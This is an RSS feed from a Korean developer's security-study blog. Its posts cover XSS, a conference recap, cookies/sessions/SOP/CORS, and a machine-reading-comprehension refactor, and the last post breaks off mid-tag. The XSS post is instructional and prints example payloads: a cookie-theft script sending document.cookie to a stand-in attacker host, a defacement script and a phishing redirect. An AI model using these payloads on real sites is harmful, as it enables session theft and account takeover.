<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>daniel7481의 개발일지</title>
    <link>https://developersdream.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Wed, 27 May 2026 15:38:15 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>daniel7481</managingEditor>
    <item>
      <title>Cross Site Scripting(XSS)</title>
      <link>https://developersdream.tistory.com/143</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;XSS는 클라 사이드 취약점 중 하나로, 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에 해당 스크립트를 실행하고, 사이트 이용자가 해당 페이지에 접속하면 악성 스크립트를 실행하여 계정의 세션 정보를 탈취해 임의의 기능을 수행할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS 공격은 이용자가 삽입한 내용을 출력하는 기능에서 발생한다(예로 들어 로그인 한 후 아이디가 출력되는 등)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라는 웹 서버에 리소스를 요청하고 서버로부터 받은 응답(HTML, CSS&amp;lt; JS)등의 웹 리소스를 시각화하여 보여주는데, 이 때 HTML, CSS, JS와 같은 코드가 포함된 게시물을 조회할 경우 이용자는 변조된 페이지를 보거나 스크립트가 실행될 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;XSS 종류&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Stored XSS: 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS&lt;br /&gt;Reflected XSS: 악성스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DOM-based XSS: 악성 스크립트가 URL Fragment에 삽입되는 XSS(Fragment는 서버 응답/요청에 포함 X)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Universal XSS: 클라의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Javascript는 웹 문서의 동작을 정의하므로 세션 및 쿠키가 저장된 브라우저에서 웹 페이지를 조작하거나 주소를 변경할 수 있으므로 XSS에서 많이 활용된다. 다음과 같은 script를 보자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿠키 탈취 코드&lt;/p&gt;
&lt;pre id=&quot;code_1711288623032&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt; //&amp;lt;script&amp;gt; 태그를 사용하여 자바스크립트를 실행한다
alert(&quot;hello&quot;); // 화면 알림으로 hello가 뜬다
document.cookie; 
alert(document.cookie) //Cookie를 출력
document.cookie = &quot;name=test;&quot;; // key=name, value=test인 Cookie 생성
new Image().src = &quot;http://hacker.dreamhack.io/?cookie=&quot; + document.cookie; // 이미지의 주소를 지정, 공격자 주소도 정할 수 있다
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페이지 변조 공격 코드&lt;/p&gt;
&lt;pre id=&quot;code_1711288677536&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;
document; // 이용자의 페이지 정보에 접근.
document.write(&quot;Hacked By DreamHack !&quot;); // 이용자의 페이지에 데이터를 삽입.
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위치 이동 공격 코드&lt;/p&gt;
&lt;pre id=&quot;code_1711288721816&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;
location.href = &quot;http://hacker.dreamhack.io/phishing&quot;; // 피싱 공격에 사용되는 이용자 위치 변경
window.open(&quot;http://hacker.dreamhack.io/&quot;) // 새 창 열기
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Stored XSS&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Stored XSS는 서버의 DB 또는 파일 형태로 저장된 악성 스크립트를 조회할 때 발생하는 XSS다. 대표적으로 게시물과 댓글에 악성 스크립트를 포함해 업로드하는 방식이 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Reflected XSS&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버가 악성 스크립트가 담긴 요청을 출력할 때 발생한다. 대표적으로 게시판 서비스에서 작성된 게시물을 조회하기 위한 검색창에서 스크립트를 포함해 검색하는 방식이 있다. 이용자가 게시물을 검색하면 서버에서는 검색 결과를 이용자에게 반환하고, 일부 서비스에서는 검색 결과를 응답에 포함하는데, 검색 문자열에 악성 스크립트가 포함되어 있다면 Reflected XSS가 발생할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Reflected XSS는 URL처럼 이용자의 요청에 의해 발생한다. 공격을 위해서는 다른 이용자를 악성스크립트가 포함된 링크에 접속하도록 유도해야 한다. 그러나 링크를 직접 전달하는 방법은 악성 스크립트 포함 여부를 이용자가 알아챌 수 있기 때문에 Click Jacking 또는 Open Redirect 등 다른 취약점과 연계하여 사용한다.&lt;/p&gt;</description>
      <category>Web hacking/Dreamhack</category>
      <author>daniel7481</author>
      <guid isPermaLink="true">https://developersdream.tistory.com/143</guid>
      <comments>https://developersdream.tistory.com/143#entry143comment</comments>
      <pubDate>Sun, 24 Mar 2024 23:04:42 +0900</pubDate>
    </item>
    <item>
      <title>Incognito 2024 Hacking Conference</title>
      <link>https://developersdream.tistory.com/142</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;440&quot; data-origin-height=&quot;440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dbPTWY/btsF0H8ejRJ/Wlo92kmkGFIqpFoJuIeK5K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dbPTWY/btsF0H8ejRJ/Wlo92kmkGFIqpFoJuIeK5K/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dbPTWY/btsF0H8ejRJ/Wlo92kmkGFIqpFoJuIeK5K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdbPTWY%2FbtsF0H8ejRJ%2FWlo92kmkGFIqpFoJuIeK5K%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;440&quot; height=&quot;440&quot; data-origin-width=&quot;440&quot; data-origin-height=&quot;440&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;태어나서 처음으로 Conference를 가봤다. Incognito는 27개의 단체가 참가하여 활동하는 보안 컨퍼런스인데, 보안 쪽 공부를 시작하며 참가하게 되었다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SWLUG, CAUtion, ICEWALL 등의 대학교 동아리에서 세미나를 담당하여 발표를 하였고, 비록 아직 학식이 부족해서 대부분 무슨 내용인지는 몰랐지만, 다들 열정과 실력이 대단하다는 것을 느낄 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 흥미로운 내용은 특강이었는데, 사이버 인텔리전스 분석 사례 공유를 담당해주신 금융보안원 이민희 책임님의 특강이 굉장히 인상적이었다. 현직자의 관점에서 인텔리전스가 무엇인지, 국가 배후 차원의 해킹 공격과, 실제로 담당하셨던 사건들을 설명하며 최근 늘어나는 사이버 크라임과 이를 막기 위한 노력들을 다양하게 설명해주셨다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 포렌식, 취약점 분석 등에 관한 직무를 희망하는 사람들을 위한 방향성을 말씀해주셨는데, 기록하지 않으면 잊어버리기 때문에 남기겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진로/멘토링&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진로/전공- 포렌식(실무가 중요, CTF, 대회 준비!(이미징, 자료, 실제로 침해 당한 케이스에서 공격자의 흔적 찾기), 다양한 플랫폼에서 해킹해보기), 악성 코드 분석(샘플(애니런, 샌드박스, 디버그, 아이다 같은 걸로 분석해보기, CHATGPT로 악성 코드 입력해서 알고리즘 같은거 이해하기, 하나를 깊게 분석해보기), 트위터 많이 활용하기(해외 인텔리전스 분석가들의 글 보기)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버그바운티: 진입 장벽이 생각보다 높지 않다. 드림핵으로 공부하며 버그 바운티 진행해보자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;솔루션 취약점: 리버싱 능력이 필요해서 생각보다 어려울 수도, 보고서 많이 보고 옛날 버전의 솔루션 등을 따라해보기, 하나를 깊게 아는게 좋다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모바일 취약점: 모바일도 웹 통신을 많이 해서 웹을 하다 보면 커버가 된다. 분리해서 생각하지 말고 웹 먼저 해보기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취업 준비&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스펙이 어느 정도 준비가 되면 필기 시험 준비를 하자(정보보안기사, 정보처리기사), 요즘 괜찮은 기업은 필기 시험이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CTF 같은 거는 면접에서 쓰는 것, 필기부터 통과해야 한다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스펙 별로 없으면 먼저 스펙부터 쌓기, 요즘 서류보다는 필기로 거르고, 스펙으로 면접에서 사용한다. 하나를 깊게 파라 스펙은, 자소서는 많이 쓸 수 없기 때문에, 한 분야에서 굵직한 거를 하는게 더 중요하다. 혼자 연구해도 된다(악성 코드 분석, 블로그 운영), 외부활동 많이 하기, 포트폴리오에 쓸만한 두 개 정도는 마련하기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분야를 벌써 정하기는 아쉽다. 트랜드가 계속 바뀌기 때문에 여러 분야를 하되, 한 분야를 깊게 파면 다른 분야를 더 쉽게 할 수 있다. 어떤 회사가 유망한지 확인해도 좋다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 이후 해커스페이스의 김종민 대표님께서 특강을 해주셨는데, 학생 신분으로 해킹으로 돈 버는 법을 설명해주셨다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간단하게 말하자면, 블로그, 책 집필, 강의, 취업(풀 리모트 회사 혹은 현장 실습 프로그램, 휴학은 추천하지 않는다고 하심), 문제 출제(Hackthebox 등에서 워게임이나 해킹 대회 문제 출제), 버그바운티(가장 중요하게 말씀하신 부분, 해킹에서 광맥이라고 말씀하심), 해킹 대회(해외 대회 등을 참가하면 비행기표나 숙소 등의 비용을 내주는 경우가 있다), 공모전, 보안 컨설팅(개인 PR을 잘해야함), 정부지원 프로그램(BoB, SW Maestro 등), 학교 프로그램(장학금, 교환 학생 등 절약도 돈을 버는 것), 학부 연구생, 발표(해외 학회 등에서 발표하면 커리어가 되고 여행도 할 수 있다) 등을 얘기해주셨다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 인상적인 부분은 A-Z까지 한 번에 배울려고 하지 말라는 것. 우리가 공부를 할 때 실습을 하지 않고 처음부터 끝까지 다 배우고 시작하려는 경향이 있다. 웹 해킹에서 XSS를 배웠으면, 한 번 깊게 파보는 경험도 중요하다고 말씀하셨고, 맹목적으로 이론 공부만 하는 것은 피해야겠다고 많이 느꼈다.&lt;/p&gt;</description>
      <category>Web hacking/이모저모</category>
      <category>conference</category>
      <category>Incognito</category>
      <category>해킹</category>
      <author>daniel7481</author>
      <guid isPermaLink="true">https://developersdream.tistory.com/142</guid>
      <comments>https://developersdream.tistory.com/142#entry142comment</comments>
      <pubDate>Sun, 24 Mar 2024 19:48:02 +0900</pubDate>
    </item>
    <item>
      <title>Cookie &amp;amp; Session</title>
      <link>https://developersdream.tistory.com/141</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;쿠키&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트와 서버는 HTTP 프로토콜을 사용해 Request와 Response로 통신한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 이러한 통신 기법에는 단점이 존재하는데,&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) Connectionless: 하나의 요청에 하나의 응답을 한 후 연결을 종료하는 것&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2) Stateless: 통신이 끝난 후 상태 정보를 저장하지 않는 것&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 단점을 극복하기 위해 Key - Value로 이루어진 Cookie가 탄생했다. 쿠키는 서버가 클라이언트에게 한 번 발급하면 그 이후 클라에서 Request를 보낼 때마다 같이 전송한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우리가 흔히 보는 로그인 상태 유지나(상태 정보), 광고에서 1일간 보지 않기 등(정보 기록)이 쿠키 덕분에 쓸 수 있는 기능이라고 이해하면 편할 것 같다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;세션&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 쿠키에서도 단점이 존재하는데, 악이적인 클라이언트는 쿠키 정보를 변조할 수 있다는 점이다. 이러한 단점을 보안하기 위해 세션이 등장했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션은 유추 할 수 없는 문자열로, 인증 정보를 서버에 저장하고 해당 데이터에 접속할 수 있는 키(Session id)를 만들어 브라우저는 해당 키를 저장하고 HTTP 요청을 보낼 때 사용한다. 서버는 요청에 포함된 키에 해당하는 데이터를 가져와 인증 상태를 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;둘 사이 핵심 차이점은 쿠키는 데이터 자체를 이용자가 저장하고, 세션은 서버가 저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개발자 도구를 사용하여 콘솔에서 document.cookie 혹은 Application 칸에서 Cookies 목록 안을 확인하여 쿠키를 확인하고, Application 칸에서 Session Storage 안의 Sessionid를 통해 세션을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;831&quot; data-origin-height=&quot;419&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpDSGt/btsF3cZw6kp/xrUz8cfEZNXaz3AzueTEv1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpDSGt/btsF3cZw6kp/xrUz8cfEZNXaz3AzueTEv1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpDSGt/btsF3cZw6kp/xrUz8cfEZNXaz3AzueTEv1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpDSGt%2FbtsF3cZw6kp%2FxrUz8cfEZNXaz3AzueTEv1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;831&quot; height=&quot;419&quot; data-origin-width=&quot;831&quot; data-origin-height=&quot;419&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;SOP&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 정보를 토대로 이해해 보았을 때 쿠키와 세션은 굉장히 중요하다. 사용자의 인증 정보를 탈취하여 이용자의 계정을 마음대로 사용하는 일이 발생할 수도 있는 것이다. 이러한 문제를 방지하기 위해 동일출처 정책(SOP:Same origin policy)가 등장했다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저는 쿠키를 브라우저 내부에 보관한다. 또한 브라우저는 웹 서비스에서 쿠키를 HTTP 요청에 포함시켜 전달한다. 여기서 그치지 않고 브라우저는 타 사이트에 접속할 때도 쿠키를 함꼐 전송하는 특징을 가지고 있다. 이런 특성 때문에 악의적인 페이지는 클라이언트의 권한을 이용해 대상 사이트에 HTTP 요청을 보내고, 응답 정보를 획득하는 코드를 실행 할 수 있다. 따라서 클라 입장에서는 가져온 데이터를 악의적인 페이지에서 읽을 수 없도록 해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL에서 프로토콜, 포트, 호스트가 전부 같아야 SOP로 인정된다. 나누어서 이해해보자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;https://www.example.com이라는 는 오리진과 비교해보자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;http://www.example.com은&amp;nbsp; https인 오리진과 비교해서 http인 프로토콜을 사용했으므로 Cross origin이다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;https://cross.example.com은 www 가 host인 오리진과 비교해서 cross라는 host를 사용했으므로 Cross origin이다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;https://www.example.com:1234/는&amp;nbsp; 포트&amp;nbsp; &amp;nbsp;번호가 1234이므로 Cross origin이다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;CORS&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SOP는 웹 보안에서 굉장히 중요한 요소지만, 이미지, css, js 등은 SOP의 영향을 받지 않는다. 또한 SOP 정책을 완화하여 다른 출처의 데이터를 처리해야 하는 경우도 있다. 예로 들어 특정 사이트가 여러 개의 서비스를 다른 host로 이용하고 있다고 생각해보자.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://example.com이&quot;&gt;https://example.com이&lt;/a&gt; 메인이고, &lt;a href=&quot;https://mail.example.com,&quot;&gt;https://mail.example.com,&lt;/a&gt; &lt;a href=&quot;https://cafe.example.com&quot;&gt;https://cafe.example.com&lt;/a&gt; 등 메인에서 로그인한 유저의 쿠키를 다른 서비스에서도 사용해야 할 경우가 있다. 이러한 상황에서 CORS와 관련된 HTTP 헤더를 추가하여 전송하는 방법을 사용한다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1711209236466&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/*XMLHttpRequest 객체는 웹 브라우저와 웹 서버 간 데이터 전송을 도와주는 객체이고, 이를 선언해준다*/
xhr = new XMLHttpRequest();
/*'https://theori.io/whoami'에 POST 요청을 보내도록 한다*/
xhr.open('POST', 'https://theori.io/whoami');
/* HTTP 요청을 보낼 때 쿠키 정보를 사용하게 해준다 */
xhr.withCredentials = true;
/*HTTP BODY를 통해 json 형태로 보낼 것이라고 알려준다 */
xhr.setRequestHeader('Content-Type', 'application/json');
/* HTTP 요청 실행 */
xhr.send(&quot;{'data':'WhoAmI'}&quot;);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 코드를 통해 요청을 보내면, 발신측의 HTTP header에서 메소드가 POST여야 할 것 같지만, OPTIONS 메소드로 요청이 전달된다. 이를 CORS preflight이라고 하며, 수신 측에 웹 리소스를 요청해도 되는지 질의하는 과정이다.&lt;/p&gt;
&lt;pre id=&quot;code_1711209371290&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;OPTIONS /whoami HTTP/1.1
Host: theori.io
Connection: keep-alive
Access-Control-Request-Method: POST /*어떤 메소드를 추가적으로 사용할 수 있는지 */
Access-Control-Request-Headers: content-type /* 어떤 헤더들을 사용 할 수 있는지 */
Origin: https://dreamhack.io
Accept: */*
Referer: https://dreamhack.io/&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이에 대해 다음과 같은 응답 결과가 나온다&lt;/p&gt;
&lt;pre id=&quot;code_1711209541761&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;HTTP/1.1 200 OK /* 응답 성공 */
Access-Control-Allow-Origin: https://dreamhack.io /*해당하는 Origin에서 들어오는 요청만 처리한다 */
Access-Control-Allow-Methods: POST, GET, OPTIONS /* 해당되는 메소드 요청만 처리한다 */
Access-Control-Allow-Credentials: true /* 쿠키 사용 여부 */
Access-Control-Allow-Headers: Content-Type /* 헤더의 사용 가능 여부 */&lt;/code&gt;&lt;/pre&gt;</description>
      <category>Web hacking/Dreamhack</category>
      <author>daniel7481</author>
      <guid isPermaLink="true">https://developersdream.tistory.com/141</guid>
      <comments>https://developersdream.tistory.com/141#entry141comment</comments>
      <pubDate>Sun, 24 Mar 2024 00:59:20 +0900</pubDate>
    </item>
    <item>
      <title>P Stage: MRC</title>
      <link>https://developersdream.tistory.com/140</link>
      <description>&lt;h1&gt;Pytorch Lightning Refactoring&lt;/h1&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Baseline / PL 코드 도식화&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Baseline 도식화&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;image (3) (1).png&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;1517&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d9cSPS/btrVA0kMGxA/sw4BjrFkkKfVKlZoImW2c1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d9cSPS/btrVA0kMGxA/sw4BjrFkkKfVKlZoImW2c1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d9cSPS/btrVA0kMGxA/sw4BjrFkkKfVKlZoImW2c1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd9cSPS%2FbtrVA0kMGxA%2Fsw4BjrFkkKfVKlZoImW2c1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;587&quot; height=&quot;445&quot; data-filename=&quot;image (3) (1).png&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;1517&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;베이스라인 코드를 이해하기 위해 가장 먼저 도식화를 진행하였다. 도식화를 통해 각 코드에서 모듈이 어떻게 이어져 있는지, 각 모듈의 기능 등을 시각적으로 나타내기 위해 그림으로 이어주었다. 또한 이를 토대로 어떤 모듈을 pytorch lightning 코드에 재활용 할 수 있을지를 생각하고, Pytorch lightning 코드 또한 구현에 앞서 도식화를 하였다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Pytorch lightning 도식화&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;image (4).png&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;1493&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/emPdbq/btrVDh7rpJs/I4LZSSs9UMT65NywDYKVJk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/emPdbq/btrVDh7rpJs/I4LZSSs9UMT65NywDYKVJk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/emPdbq/btrVDh7rpJs/I4LZSSs9UMT65NywDYKVJk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FemPdbq%2FbtrVDh7rpJs%2FI4LZSSs9UMT65NywDYKVJk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;640&quot; height=&quot;478&quot; data-filename=&quot;image (4).png&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;1493&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도식화를 진행하기 전에는 머릿속이 뒤죽박죽이었지만, 베이스라인 코드를 도식화한 후 pytorch lightning 또한 미리 설계하듯 도식화를 하자 재구현이 훨씬 쉬워졌다.&lt;/p&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;pl
├─ UPDATE.md
├─ config
│  └─ base_config.yaml
├─ datamodule
│  └─ base_data.py
├─ inference.py
├─ main.py
├─ models
│  └─ base_model.py
├─ output
├─ retrievals
│  ├─ BM25.py
│  ├─ base_retrieval.py
│  ├─ elastic_retrieval.py
│  ├─ elastic_setting.py
│  └─ setting.json
├─ sweep.py
├─ train.sh
├─ tune
│  ├─ batch_find.ipynb
│  └─ lr_find.ipynb
├─ utils
│  ├─ data_utils.py
│  └─ util.py
└─ wandb
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;베이스라인 코드를 재구현하는 가장 큰 이유는 모듈화였다. 빠른 실험을 위해서는 베이스라인 코드를 사용하는 것이 좋겠지만, 향후 다양한 실험을 하거나 새로운 기능을 추가할 시에 코드의 가독성이 떨어질 것이라 판단하였고, 이는 시간 낭비로 이어질 수 있겠다 생각이 들었다. 그래서 디렉터리를 데이터 모듈(dataset, dataloader), config(train.sh에 들어갈 config 파일), models(Custom model), retrievals, utils(데이터 전처리, 후처리 모듈, metric 모듈)로 나누어서 구현하였다.&lt;/p&gt;
&lt;h1&gt;Curriculum learning&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Daniel Campos의 Curriculum Learning For Language Modeling 논문의 Context의 길이가 길수록 더 많은 의존 구문 추적을 요구하기에 난이도가 올라간다( It is a lot harder to model longer sentences, as longer sentences require better tracking of dependencies) 아이디어를 차용하여, 모든 데이터셋을 context 길이 순으로 정려 한 후, shuffle=False로 설정하여 sequential하게 학습되도록 설정하였다. 동일한 환경에서 학습한 결과 inference em이 1.25 정도 상승하는 결과를 보였다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled (10) (1).png&quot; data-origin-width=&quot;913&quot; data-origin-height=&quot;241&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b0YxMn/btrVMX0U3ap/ilnjqQJajqimfQ1a7LiN6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b0YxMn/btrVMX0U3ap/ilnjqQJajqimfQ1a7LiN6K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b0YxMn/btrVMX0U3ap/ilnjqQJajqimfQ1a7LiN6K/img.png&quot; 